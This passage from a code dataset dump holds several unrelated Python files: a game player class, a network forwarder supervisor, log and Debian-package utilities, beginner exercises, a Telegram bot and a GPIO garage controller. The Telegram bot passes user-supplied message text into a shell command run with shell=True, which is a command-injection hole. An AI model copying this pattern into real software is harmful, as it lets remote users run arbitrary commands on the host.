self.inventory.add(BlackMonster())\r\n        self.inventory.add(WhiteMonster())\r\n        self.inventory.add(DiamondSword())\r\n\r\n    def get_next_action(self):\r\n        keystate = pygame.key.get_pressed()\r\n\r\n        if keystate[pygame.K_a]:\r\n            state = sprites.CharacterState.LEFT\r\n        elif keystate[pygame.K_d]:\r\n            state = sprites.CharacterState.RIGHT\r\n        elif keystate[pygame.K_s]:\r\n            state = sprites.CharacterState.DOWN\r\n        elif keystate[pygame.K_w]:\r\n            state = sprites.CharacterState.UP\r\n        else:\r\n            state = sprites.CharacterState.IDLE\r\n\r\n        if keystate[pygame.K_1]:\r\n            self.inventory.select_active_item(0)\r\n        elif keystate[pygame.K_2]:\r\n            self.inventory.select_active_item(1)\r\n        elif keystate[pygame.K_3]:\r\n            self.inventory.select_active_item(2)\r\n        elif keystate[pygame.K_4]:\r\n            self.inventory.select_active_item(3)\r\n        elif keystate[pygame.K_5]:\r\n            self.inventory.select_active_item(4)\r\n        elif keystate[pygame.K_q]:\r\n            self.inventory.select_active_item(None)\r\n        active_item = self.inventory.active_item\r\n        if active_item is not None:\r\n            if keystate[pygame.K_e] and isinstance(active_item, Consumable):\r\n                active_item.consume(self)\r\n\r\n        self.state = state\r\n        return state\r\n\r\n    def reset_ap(self):\r\n        if self.state != sprites.CharacterState.IDLE:\r\n            self.ap.reset_ap(self.ap.value - 1)\r\n            # print(f\"player AP: {self.ap.value}\")\r\n","repo_name":"emanresuaretne/rogue","sub_path":"logic/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":11532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5119962026","text":"import ipaddress\nimport logging\nimport threading\nimport time\nimport typing\n\nfrom .configuration import Subordinate as SubordinateConf\nfrom .forwarder import Forwarder\nfrom .logger import LoggingMixin\n\n\nclass ForwarderSupervisor(LoggingMixin):\n    \"\"\"Operations which should be performed with the forwared should be put here\n\n    It should handle reconnects and determine to what (ip, port) to connect\n    \"\"\"\n\n    NEXT_IP_TIMEOUT = 30.0  # in seconds\n    ZCONF_BUFFER_COUNT = 100\n\n    class NetlocStat:\n        \"\"\"Netloc triage statistics used for sorting netloc in the list\"\"\"\n\n        def __init__(self, fail_count: int, when: float):\n            self.fail_count = fail_count\n            self.when = when\n\n        def __eq__(self, other):\n            return self.fail_count == other.fail_count and self.when == other.when\n\n        def __gt__(self, other):\n            return not (self.__eq__(other)) and not (self.__lt__(other))\n\n        def __lt__(self, other):\n            if self.fail_count == other.fail_count:\n                return self.when > other.when  # youngest first\n            else:\n                return self.fail_count < other.fail_count  # lowest count first\n\n        def __str__(self):\n            return f\"{self.fail_count}-{self.when}\"\n\n    logger = logging.getLogger(__file__)\n\n    def __init__(self, forwarder: Forwarder):\n        self.subordinate_controller_id = forwarder.subordinate.controller_id\n        self.forwarder = forwarder\n        self.lock = threading.RLock()\n        self.connected = False\n\n        # (IP, port) -> (failed_attempt_count, time)\n        # initalizes with subordinate netloc\n        self._netlocs: typing.Dict[typing.Tuple[ipaddress.IPv4Address, int], ForwarderSupervisor.NetlocStat] = {\n            (\n                ipaddress.ip_address(self.forwarder.subordinate.settings.host),\n                self.forwarder.subordinate.settings.port,\n            ): ForwarderSupervisor.NetlocStat(0, 0.0)\n        }\n        self.current_netloc: typing.Tuple[ipaddress.IPv4Address, int] = self.netlocs[0]\n        self.current_netloc_start: float = time.monotonic()\n\n        # start forwarder in background\n        self.forwarder.start()\n\n    def terminate(self):\n        \"\"\"causes that forwarder eventually terminates\"\"\"\n        self.debug(\"Supervisor terminating\")\n\n        self.forwarder.stop()\n\n    def zconf_update(self, ips: typing.List[ipaddress.IPv4Address], port: int):\n        \"\"\"update ips obtained using zconf\"\"\"\n        now = time.monotonic()\n\n        self.info(f\"Got addresses from zconf: {[str(e) for e in ips]} :{port}\")\n\n        with self.lock:\n            # merge two lists\n            for ip in ips:\n                count = self._netlocs.get((ip, port), ForwarderSupervisor.NetlocStat(0, 0.0)).fail_count\n                self._netlocs[(ip, port)] = ForwarderSupervisor.NetlocStat(count, now)\n\n            # sort and fit to buffer\n            sorted_netlocs = sorted(((ip, stat) for ip, stat in self._netlocs.items()), key=lambda x: x[1])[\n                : ForwarderSupervisor.ZCONF_BUFFER_COUNT\n            ]\n            res = {}\n            for (ip, port), stat in sorted_netlocs:\n                res[(ip, port)] = stat\n\n            self._netlocs = res\n\n    @property\n    def netlocs(self) -> typing.List[typing.Tuple[ipaddress.IPv4Address, int]]:\n        \"\"\"Return current network locations where subordinate server might be running\n\n        Addresses with better score first (min fail_count + most reacent)\n        \"\"\"\n        with self.lock:\n            return [e[0] for e in sorted([(k, v) for k, v in self._netlocs.items()], key=lambda x: x[1])]\n\n    def subsubordinates_config_update(self, subordinates):\n        # TODO\n        raise NotImplementedError()\n\n    def subordinate_config_update(self, subordinate_conf: SubordinateConf):\n        self.forwarder.reload_subordinate(subordinate_conf)\n\n    def check(self):\n        now = time.monotonic()\n\n        if self.forwarder.subordinate.connected:\n            # clean attempts for current netloc to keep working address high in the list\n            with self.lock:\n                self.current_netloc_start = now\n                record = self._netlocs.get(self.current_netloc)\n                if record:\n                    record.fail_count = 0\n                    record.when = time.monotonic()\n            return\n\n        with self.lock:\n            if self.current_netloc_start + ForwarderSupervisor.NEXT_IP_TIMEOUT < now:\n                # time up, lets use new netloc\n                record = self._netlocs.get(self.current_netloc)\n                if record:\n                    record.fail_count += 1\n\n                # Lets try new address\n                self.current_netloc = self.netlocs[0]\n                self.current_netloc_start = now\n\n                # Reload subordinate with a new config\n                ip, port = self.current_netloc\n                new_config = self.forwarder.subordinate_conf.clone_with_overrides(ip=ip, port=port)\n                self.forwarder.reload_subordinate(new_config)\n\n    def __str__(self):\n        return f\"supervisor-{self.forwarder.subordinate.controller_id}\"\n","repo_name":"turris-cz/foris-controller-foris-forwarder","sub_path":"foris_forwarder/supervisor.py","file_name":"supervisor.py","file_ext":"py","file_size_in_byte":5125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"20739939295","text":"import argparse\nimport collections\nimport datetime\nimport glob\nimport sys\n\nimport apache_log_parser\nfrom tqdm import tqdm\n\n\ndef day_checker(date):\n    try:\n        return datetime.datetime.strptime(date, '%Y/%m/%d')\n    except ValueError:\n        print(\"Please input correct date format\")\n        print(\"Correct format is YYYY/MM/dd, like {}\".format(\n            datetime.datetime.now().strftime(\"%Y/%m/%d\")))\n        sys.exit()\n\n\ndef write_csv(name, save_dict):\n    with open(name, 'w') as f:\n        f.write(\"time,# access\\n\")\n\n        for key in save_dict.keys():\n            f.write(\"%s,%s\\n\" % (key, save_dict[key]))\n    print(\"save csv!\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Appach log profiler')\n\n    parser.add_argument('--file', '-f', action='append',\n                        help=\"Input log file path\")\n    parser.add_argument('--directory', '-d', action='append',\n                        help=\"Input directory path in log files\")\n    parser.add_argument('--start', default='1976/03/25',\n                        help=\"Input the first day of the period you want to profile\")\n    parser.add_argument('--end', default='2020/06/26',\n                        help=\"Input the last day of the period you want to profile\")\n    parser.add_argument('--output_name', default='time_result.csv',\n                        help=\"Input output file name\")\n\n    args = parser.parse_args()\n    # firstとlastの指定があっているかのエラー\n    date_first = day_checker(args.start)\n    date_end = day_checker(args.end)\n    log_line_data = []\n    line_parser = apache_log_parser.make_parser(\n        \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\")\n    if args.file is not None:\n        for file_path in args.file:\n            with open(file_path) as f:\n                log = f.readlines()\n            for i in log:\n                log_line_data.append(line_parser(i))\n    if args.directory is not None:\n        for dir_path in args.directory:\n            for file_path in tqdm(glob.glob(dir_path + \"*\"), desc='file loading...'):\n                with open(file_path) as f:\n                    log = f.readlines()\n                for i in log:\n                    log_line_data.append(line_parser(i))\n    l_time = sorted([d.get('time_received_datetimeobj').replace(minute=0, second=0, microsecond=0)\n                     for d in log_line_data if date_first <= d.get('time_received_datetimeobj') and d.get('time_received_datetimeobj') <= date_end])\n    c_time = collections.Counter(l_time)\n    l_host = sorted([d.get('remote_host') for d in log_line_data if date_first <= d.get(\n        'time_received_datetimeobj') and d.get('time_received_datetimeobj') <= date_end])\n    c_host = collections.Counter(l_host)\n    write_csv(args.output_name, c_time)\n    for host, count in c_host.most_common():\n        print(\"ホスト名:{}, アクセス回数:{}\".format(host, count))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"1234567890Joe/Apache_log_profiler","sub_path":"for_big_memory.py","file_name":"for_big_memory.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27686856064","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom flask_jwt import jwt_required\nfrom exceptions import PreconditionFailException\nfrom services import OrderService\n\n\nclass OrderHandler(Resource):\n\n    def __init__(self):\n        self.service = OrderService()\n        super(OrderHandler, self).__init__()\n\n    @staticmethod\n    def _error_message(message, reason, status_code):\n        return {\"message\": message, \"reason\": reason}, status_code\n\n    @jwt_required()\n    def get(self, id=None):\n        if id is None:\n            return self.service.list()\n        else:\n            item = self.service.read(id)\n            if not item:\n                return {}, 404\n            return item\n\n    @jwt_required()\n    def post(self):\n        data = request.get_json()\n        try:\n            item = self.service.create(data)\n            return item, 200\n        except Exception as e:\n            logging.error(\"Cannot create a new Product %s\" % e)\n            return {\"message\": \"Cannot create a new Product\", \"reason\": \"Unknown reason.\"}, 400\n\n    @jwt_required()\n    def delete(self, id=None):\n        try:\n            self.service.delete(id)\n        except PreconditionFailException as e:\n            logging.error(\"Cannot delete data: %s\" % e)\n            return {\"message\": \"You must provide an id to delete\"}, 412\n        except Exception as e:\n            logging.error(\"Cannot delete data: %s\" % e)\n\n        return {}, 200\n","repo_name":"geraldoandradee/orders-microservice","sub_path":"handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28158281328","text":"#!/usr/bin/env python3\n\n# Miscellaneous operating system interfaces\n# https://docs.python.org/3/library/os.html\nimport os\n\n# Object-oriented filesystem paths\n# https://docs.python.org/3/library/pathlib.html\nimport pathlib\n\n# URL handling modules\n# https://docs.python.org/3/library/urllib.html\nimport urllib\n\n# Support for gzip files\n# https://docs.python.org/3/library/gzip.html\nimport gzip\n\nfrom dprs.exceptions import ContentsFileURLNotFound\n\n\ndef download_contents_file(contents_file_url: str = None,\n                           output_dir: str = os.getcwd()+os.sep+\"outputs\",\n                           reuse_contents_file: bool = True) -> str:\n    \"\"\"\n    This function takes a Debian Contents-*.gz file and extracts it to the output folder.\n\n    Arguments:\n        contents_file_url: Debian Contents-*.gz file URL\n        output_dir: Output directory where the file will be downloaded and extracted.\n        reuse_contents_file: Reuse a previously downloaded Debian Contents-*.gz file.\n\n    Returns:\n        str: path of the content index file that was downloaded and extracted.\n    \"\"\"\n    # Check URL list length\n    if len(contents_file_url) == 0:\n        raise ContentsFileURLNotFound(\"Contents-*.gz file URL is not found!\")\n\n    # Check output directory address\n    if output_dir is None:\n        output_dir = os.getcwd()+os.sep+\"outputs\"\n\n    # Check output directory and create it\n    if not os.path.exists(output_dir):\n        os.mkdir(output_dir)\n    basename = os.path.basename(contents_file_url)\n    file_name = os.path.splitext(basename)[0]\n\n    # Contents-*.gz file path\n    output_gz_file = pathlib.Path(output_dir) / basename\n\n    # Extracted Contents-*.gz file path\n    output_file = pathlib.Path(output_dir) / file_name\n\n    # If Contents-*.gz file exists check reuse flag\n    if output_file.exists():\n        if reuse_contents_file:\n            return output_file\n\n    # Download the Contents-*.gz file\n    with urllib.request.urlopen(contents_file_url) as response:\n        data = response.read()\n    with open(output_gz_file, \"wb\") as buffer:\n        buffer.write(data)\n\n    # Extract the Contents-*.gz file\n    with gzip.open(output_gz_file, \"rb\") as buffer:\n        data = buffer.read()\n    with open(output_file, \"wb\") as buffer:\n        buffer.write(data)\n\n    return output_file\n","repo_name":"kaan-keskin/debian-package-repository-statistics","sub_path":"dprs/download_contents_file.py","file_name":"download_contents_file.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"42116645525","text":"ongoingallowance = 500\r\nsavings = 500\r\nsavings +=300\r\n\r\nongoingallowance-=50\r\nnumberofdaystosave = (5000 - ongoingallowance)/500\r\nongoingallowance = ongoingallowance + (30-10)*7\r\nprint(savings %500)\r\nprint(9**3)\r\nprint (savings // 500)\r\n\r\ntext = \"My name is haseeb mehmood dhatt.That's it. Thats the code\"\r\ntext = 'my name is haseeb dhatt'\r\n\r\na=7.5\r\nb=3.234234\r\nc=a/b\r\n\r\nfirstcity=\"New York\"\r\nsecondcity=\"Seattle\"\r\nnumberoftimes = 5\r\nfavourite= \"My favourite city are \" + firstcity + \" and \"+ secondcity + \" And travelled there \"+str(numberoftimes) +\" times\"\r\nprint(favourite)\r\n","repo_name":"haseeb549/Python-Basics","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17042259916","text":"import requests\nimport re\nfrom subprocess import Popen, PIPE\n\nBOT_TOKEN = \"YOUR_BOT_TOKEN\"\nbase_url = f\"https://api.telegram.org/bot{BOT_TOKEN}\"\n\n\n# create func that get chat id\ndef get_chat_id(update):\n    chat_id = update[\"message\"][\"chat\"][\"id\"]\n    return chat_id\n\n\n# create func that get message text\ndef get_message_text(update):\n    message_text = update[\"message\"][\"text\"]\n    return message_text\n\n\n# create func that get last_update\ndef last_update(req):\n    response = requests.get(req + \"getUpdates\")\n    response = response.json()\n    result = response[\"result\"]\n    total_updates = len(result) - 1\n    return result[total_updates]\n\n\n# create func that let bot send message to user\ndef send_message(chat_id, message_text):\n    params = {\"chat_id\": chat_id, \"text\": message_text}\n    response = requests.post(base_url + \"sendMessage\", data=params)\n    return response\n\n\n# create func that get dog picture\ndef get_dog_pic():\n    allowed_extension = ['jpg', 'jpeg', 'png']\n    file_extension = ''\n    while file_extension not in allowed_extension:  # Get valid url for picture (jpg, jpeg, png)\n        contents = requests.get('https://random.dog/woof.json').json()\n        photo = contents['url']\n        print(photo)\n        file_extension = re.search(\"([^.]*)$\", photo).group(1).lower()\n    return photo\n\n\n# create func that let bot send photo to user\ndef send_dog_photo(chat_id, photo_url):\n    params = {\"chat_id\": chat_id, \"photo\": photo_url}\n    response = requests.post(base_url + \"sendPhoto\", data=params)\n    return response\n\n\n# create func that get dog gif\ndef get_dog_gif():\n    allowed_extension = ['mp4', 'gif']\n    file_extension = ''\n    while file_extension not in allowed_extension:  # Get valid url for gif (mp4, gif)\n        contents = requests.get('https://random.dog/woof.json').json()\n        gif = contents['url']\n        print(gif)\n        file_extension = re.search(\"([^.]*)$\", gif).group(1).lower()\n    return gif\n\n\n# create func that let bot send gif to user\ndef send_dog_gif(chat_id, gif_url):\n    params = {\"chat_id\": chat_id, \"document\": gif_url}\n    response = requests.post(base_url + \"sendDocument\", data=params)\n    return response\n\n\n# create func that get link video of youtube\ndef get_links(link):\n    # time.sleep(7)\n    # link = get_message_text(update)\n    cmd = \"youtube-dl -g {}\".format(link)\n    r = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE).communicate()\n    result = []\n    res = r[0].split()\n    for i in range(len(res)):\n        result.append(res[i])\n    return result\n\n\n# create main func for navigate or reply message back\ndef main():\n    update_id = last_update(req=base_url)[\"update_id\"]\n    while True:\n        update = last_update(req=base_url)\n        if update_id == update[\"update_id\"]:\n            if get_message_text(update).lower() == \"hi\" or get_message_text(\n                    update) == \"/start\" or get_message_text(update).lower() == \"hello\":\n                send_message(get_chat_id(update),\n                             \"Hello Welcome To My bot.\\nCommands(#Fun)👇 \\ndog: send photo of dog\\ndog gif: send gif of dog\\nAbout Command👇\\nabout: information of me\\n\\n👉 and for get download link from youtube send youtube video link\")\n\n            elif get_message_text(update).lower() == \"dog\":\n                send_dog_photo(get_chat_id(update), get_dog_pic())\n                print(f\"\\033[33mDog Picture Sended. \\nDog Picture Url -> {get_dog_pic()}\\033[39m\")\n\n            elif get_message_text(update).lower() == \"dog gif\":\n                send_dog_gif(get_chat_id(update), get_dog_gif())\n                print(f\"\\033[33mDog Gif Sended. \\nDog Gif Url -> {get_dog_gif()}\\033[39m\")\n\n            elif \"https://www.youtube.com\" in get_message_text(\n                    update).lower() or \"http://www.youtube.com\" in get_message_text(\n                update) or \"youtube.com\" in get_message_text(update) or \"m.youtube.com\" in get_message_text(\n                update) or \"https://m.youtube.com\" in get_message_text(\n                update) or \"http://m.youtube.com\" in get_message_text(update):\n                print(f\"\\033[33mYoutube Link -> {get_message_text(update)}\\033[39m\")\n                links = get_links(get_message_text(update))\n                send_message(get_chat_id(update), \"video 👇\\n{0}\\nAudio 👇\\n{1}\".format(links[0], links[1]))\n                print(\"\\033[33mDownload Links Sended.\\033[39m\")\n\n            elif get_message_text(update).lower() == \"about\":\n                send_message(get_chat_id(update),\n                        \"#Author : Sullivan[Epic_R_R]\\n#Email : salar.z@ourlook.de\\n\")\n\n            else:\n                send_message(get_chat_id(update), \"Sorry Not Understand What You Inputted :(\")\n            update_id += 1\n\n\nif __name__ == \"__main__\":\n    print(\"\\033[32mBot Starting\\033[39m\")\n    main()\n","repo_name":"Epic-R-R/YoutubeDL_Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"39284032486","text":"#Examples that breakdown for loops in python\n\n#In this example we are going over how for loops are used in Python\nnames = [\"Adam\",\"Alex\",\"Mariah\",\"Martine\",\"Columbus\"]\n\nfor val in names:\n  print(val)\n\n#================================================\n#this example of a for loop goes through a dictionary\nprint(\"\\n\")\nwebster = {\n  \"Aardvark\" : \"A star of a popular children's cartoon show.\",\n  \"Baa\" : \"The sound a goat makes.\",\n  \"Carpet\": \"Goes on the floor.\",\n  \"Dab\": \"A small amount.\"\n}\n\n# Add your code below!\nfor val in webster:\n  print(\"This will print the keys \" + val)\n  print(\"This will print the value \" + webster[val])\n  \n\n#================================\n#An example of a for loop breakdown using if condition\na = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\n\nfor num in a:\n  if num % 2==0:\n    print (num)\n\n\n#===============================\n#Another example that looks at a Python breakdown\n# Write your function below!\ndef fizz_count(x):\n  count = 0\n  \n  for item in x:\n    if item == \"fizz\":\n      count += 1\n    \n  return count\n\nprint(fizz_count([\"fizz\", \"cat\", \"fizz\"]))\n\n#==========================================\n#An example that goes over a while loop\ncount = 0\n\nwhile count < 10: # Add a colon\n  print(count)\n  count +=1\n\n#==========================================\n#Classic for loop breakdown\n#instead of normally of how we do for(i=0;i<3;i++), we do the\n#following like down below, it will print out 0,1,2\nfor x in range(0, 3):\n    print (\"We're on time %d\" % (x))\n\n\n#===========================================\n#Doing the for loop like so in Python will print every number from 0 to 7\nfor value in range(7):\n    print (value)\n\n\n#===========================================\n#A more complex version of for loop in Python\nhobbies = []\n\n# Add your code below!\n\nfor num in range(3):\n  hobby =  input(\"Tell me one of your favorite hobbies: \")\n  hobbies.append(hobby)\n\nprint(hobbies)\n\n\n#==============================================\n#An example that goes over every character in a string using a for loop\nthing = \"spam!\"\n\nfor c in thing:\n  print(c)\n\nprint(\"\\n\")\nword = \"eggs!\"\n\nfor item in word:\n  print(item)\n\n#================================================\n#This example look at printing out multiple variables in print\nd = {'a': 'apple', 'b': 'berry', 'c': 'cherry'}\n\nfor key in d:\n  print (key, d[key])","repo_name":"JPrendy/python-exercises-and-notes","sub_path":"PythonForLoopsBreakdown.py","file_name":"PythonForLoopsBreakdown.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31138731389","text":"def getScore(s):\n    s_len = len(s)\n    l = [[1 for x in range(s_len+1)] for _ in range(s_len+1)]\n    maxx = 1\n    maxx2 = 0\n    maxxRanges = []\n\n    for threshold in range(2, s_len+1):\n        for i in range(s_len-threshold+1):\n            j = i+threshold-1\n            if s[i] == s[j] and threshold == 2:\n                l[i][j] = 2\n            elif s[i] == s[j]:\n                l[i][j] = l[i+1][j-1] + 2\n            else:\n                l[i][j] = max(l[i][j-1], l[i+1][j]);\n\n            if l[i][j] > maxx:\n                maxx = l[i][j]\n                maxxRanges.append((i,j))\n\n    \n    maxProduct = 0\n    for i in range(len(maxxRanges)-1, -1, -1):\n        maxxRange = maxxRanges[i]\n        maxx = l[maxxRange[0]][maxxRange[1]]\n\n        if s[0:maxxRange[0]] and s[maxxRange[1]+1:s_len]:\n            maxx2 = max(l[0][maxxRange[0]-1], l[maxxRange[1]+1][s_len])\n        elif s[0:maxxRange[0]]:\n            maxx2 = l[0][maxxRange[0]-1]\n        elif s[maxxRange[1]+1:s_len]:\n            maxx2 = l[maxxRange[1]+1][s_len-1]\n        tmpProduct = 1\n        if maxx*maxx2:\n            tmpProduct = maxx*maxx2\n\n        if tmpProduct > maxProduct:\n            maxProduct = tmpProduct\n\n    for row in l:\n        print(row)\n    return maxProduct\n\ns = 'abbbdbbad'\nprint(getScore(s))","repo_name":"erjantj/hackerrank","sub_path":"fun-with-polindromes.py","file_name":"fun-with-polindromes.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18159069745","text":"from collections import deque\n\n\ndef solution(bridge_length, weight, truck_weights):\n    leftTruck = deque(truck_weights)\n    answer = 0\n    q = deque()\n    nowTruckWeight = 0\n    # 아직 다리를 건널 트럭이 있을때까지 루프\n    while leftTruck or q:\n        # 트럭이 다리를 다 건넜으면 빼준다.\n        if q and q[0][1] == bridge_length:\n            nowTruckWeight -= q[0][0]\n            q.popleft()\n        # 건너지 못한 트럭이있고 다리에 오를수있으면 트럭을 다리에 올린다.\n        if leftTruck and nowTruckWeight + leftTruck[0] <= weight and len(q) < bridge_length:\n            x = leftTruck.popleft()\n            q.append([x, 0])\n            nowTruckWeight += x\n\n        for x in range(len(q)):\n            q[x][1] += 1\n        # print(\"%d초\" % answer)\n        # print(q)\n        answer += 1\n\n    return answer\n\n\nprint(solution(100, 100, [10, 10, 10, 10, 10, 10, 10, 10, 10, 10]))\n","repo_name":"Kyun2da/Algorithm","sub_path":"python/programmers/level2/다리를지나는트럭.py","file_name":"다리를지나는트럭.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"31990404145","text":"import asyncio\nfrom time import sleep\n\nfrom garagepi.common.const import *\nfrom garagepi.data.rpi import gpio\n\nCONFIG_PIN_MODES = {\n    CONF_CLOSE_GARAGE_PIN: gpio.IN,\n    CONF_OPEN_GARAGE_PIN: gpio.IN,\n    CONF_POSITIONS: gpio.OUT\n}\n\n\nclass Interactive:\n    should_quit = False\n\n    def run(self):\n        while not self.should_quit:\n            print('Enter pin: ')\n            pin = int(input())\n            print('1 or 0? ')\n            value = int(input())\n            gpio.output(pin, value)\n\n\nclass GaragePiAssistant:\n    \"\"\"Main class for interacting with the garage door and data layer.\"\"\"\n\n    __slots__ = ['config', 'api', 'interactive', '_open_garage_pin', '_close_garage_pin',\n                 '_position_pins', '_pin_positions']\n\n    def __init__(self, config, api, interactive=None):\n        self._open_garage_pin = None\n        self._close_garage_pin = None\n        self._position_pins = {}\n        self._pin_positions = {}\n        self.config = config\n        self.api = api\n        self.interactive = None if interactive is None else Interactive()\n        self._setup_gpio_pins()\n\n    def run(self):\n        asyncio.get_event_loop().create_task(self.api.get_updates())\n        if self.interactive is not None:\n            self.interactive.run()\n\n    def _setup_gpio_pins(self):\n        for config, pin_mode in CONFIG_PIN_MODES.items():\n            print('Config key {}, mode {}'.format(config, pin_mode))\n            config_value = self.config.get(config, None)\n            if config_value is None:\n                continue\n            print('Config value {} {}'.format(config, config_value))\n            if not isinstance(config_value, dict) and not isinstance(config_value, list):\n                self._setup_pin(config, config_value)\n            elif isinstance(config_value, dict):\n                for key, value in config_value.items():\n                    self._setup_pin(key, value)\n\n    def _setup_pin(self, config_key, position_pin):\n        if CONFIG_PIN_MODES.get(config_key, gpio.OUT) == gpio.IN:\n            gpio.setup(\n                position_pin,\n                gpio.IN,\n                pull_up_down=gpio.PUD_DOWN)\n            if config_key == CONF_OPEN_GARAGE_PIN:\n                self._open_garage_pin = position_pin\n                gpio.add_event_callback(position_pin, self._handle_open_command)\n            elif config_key == CONF_CLOSE_GARAGE_PIN:\n                self._close_garage_pin = position_pin\n                gpio.add_event_callback(position_pin, self._handle_close_command)\n        else:\n            gpio.setup(\n                position_pin,\n                gpio.OUT)\n            self._position_pins[config_key] = position_pin\n            # gpio.add_event_callback(gpio, self._handle_output_change)\n\n    def _handle_open_command(self, channel, value):\n        print('Open handler {} {}'.format(channel, value))\n        if channel != self._open_garage_pin and value != 1:\n            return\n        print('Opening')\n        self._open()\n\n    def _open(self):\n        for position in ['75', '50', '25']:\n            if position not in self._position_pins:\n                print('{} not in {}'.format(position, self._position_pins))\n                continue\n            print(position.replace('_pin', ''))\n            sleep(3)\n\n    def _handle_close_command(self, channel, value):\n        print('Close handler {} {}'.format(channel, value))\n        if channel != self._close_garage_pin and value != 1:\n            return\n        print('Closing')\n        self._close()\n\n    def _close(self):\n        for position in ['25', '50', '75']:\n            if position not in self._position_pins:\n                continue\n            print(position.replace('_pin', ''))\n            sleep(3)\n","repo_name":"constructorfleet/GaragePi-Assistant","sub_path":"garagepi/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28408868272","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n# Copy 'sam2coverage.py' script into '/data1/bio/projects/ndanilova/colitis_crohn/test/' dir\n\n# CLI preparing:\n\nexport DOCKER_IMAGE_NAME=ivasilyev/bwt_filtering_pipeline_worker:latest && \\\ndocker pull ${DOCKER_IMAGE_NAME} && \\\ndocker run --rm -v /data:/data -v /data1:/data1 -v /data2:/data2 --net=host -it ${DOCKER_IMAGE_NAME} python3\n\"\"\"\n\nimport subprocess\nimport multiprocessing\n\n\ndef external_route(*args):\n    process = subprocess.Popen(args, shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n    (output, error) = process.communicate()\n    process.wait()\n    if error:\n        print(error)\n    if output:\n        print(output.decode(\"utf-8\"))\n\n\ndef multi_core_queue(function_name, queue):\n    pool = multiprocessing.Pool()\n    pool.map(function_name, queue)\n    pool.close()\n    pool.join()\n\n\n\"\"\"\n# Manual checkout\n\nexport DOCKER_ALIAS='docker run --rm -v /data:/data -v /data1:/data1 -v /data2:/data2 --net=host -it ivasilyev/bwt_filtering_pipeline_worker ' \n\nrm -f /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.bam \\\n/data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes_sorted.bam \\\n/data1/bio/projects/ndanilova/colitis_crohn/test/136VZK_no_hg19_25_ecoli_genes.tsv\n\n${DOCKER_ALIAS} samtools view -t /data/reference/custom/25_ecoli_genes/index/25_ecoli_genes_samtools.fai \\\n-bS /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.sam \\\n-o /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.bam \\\n-@ 32\n\nfile /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.bam\n\n${DOCKER_ALIAS} samtools sort /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.bam \\\n-o /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes_sorted.bam \\\n-@ 32 \n\nfile /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes_sorted.bam\n\n${DOCKER_ALIAS} genomeCoverageBed -ibam /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes_sorted.bam \\\n> /data1/bio/projects/ndanilova/colitis_crohn/test/136VZK_no_hg19_25_ecoli_genes.tsv\n\nfile /data1/bio/projects/ndanilova/colitis_crohn/test/136VZK_no_hg19_25_ecoli_genes.tsv\n\n\"\"\"\n\n\ndef mp_get_coverage(external_input):\n    external_route('python3',  '/data1/bio/projects/ndanilova/colitis_crohn/test/sam2coverage.py',\n                   '-i', external_input,\n                   '-f', \"/data/reference/custom/25_ecoli_genes/index/25_ecoli_genes_samtools.fai\",\n                   '-g', \"/data/reference/custom/25_ecoli_genes/index/25_ecoli_genes_samtools.genome\",\n                   \"-a\", \"/data/reference/custom/25_ecoli_genes/index/25_ecoli_genes_annotation.txt\",\n                   '-o', \"/data2/bio/Metagenomes/custom/25_ecoli_genes\")\n\n\ndef sam2coverage():\n    [mp_get_coverage(i) for i in samFileNamesList]\n    # multi_core_queue(mp_get_coverage, samFileNamesList)\n\n\nsamFileNamesList = 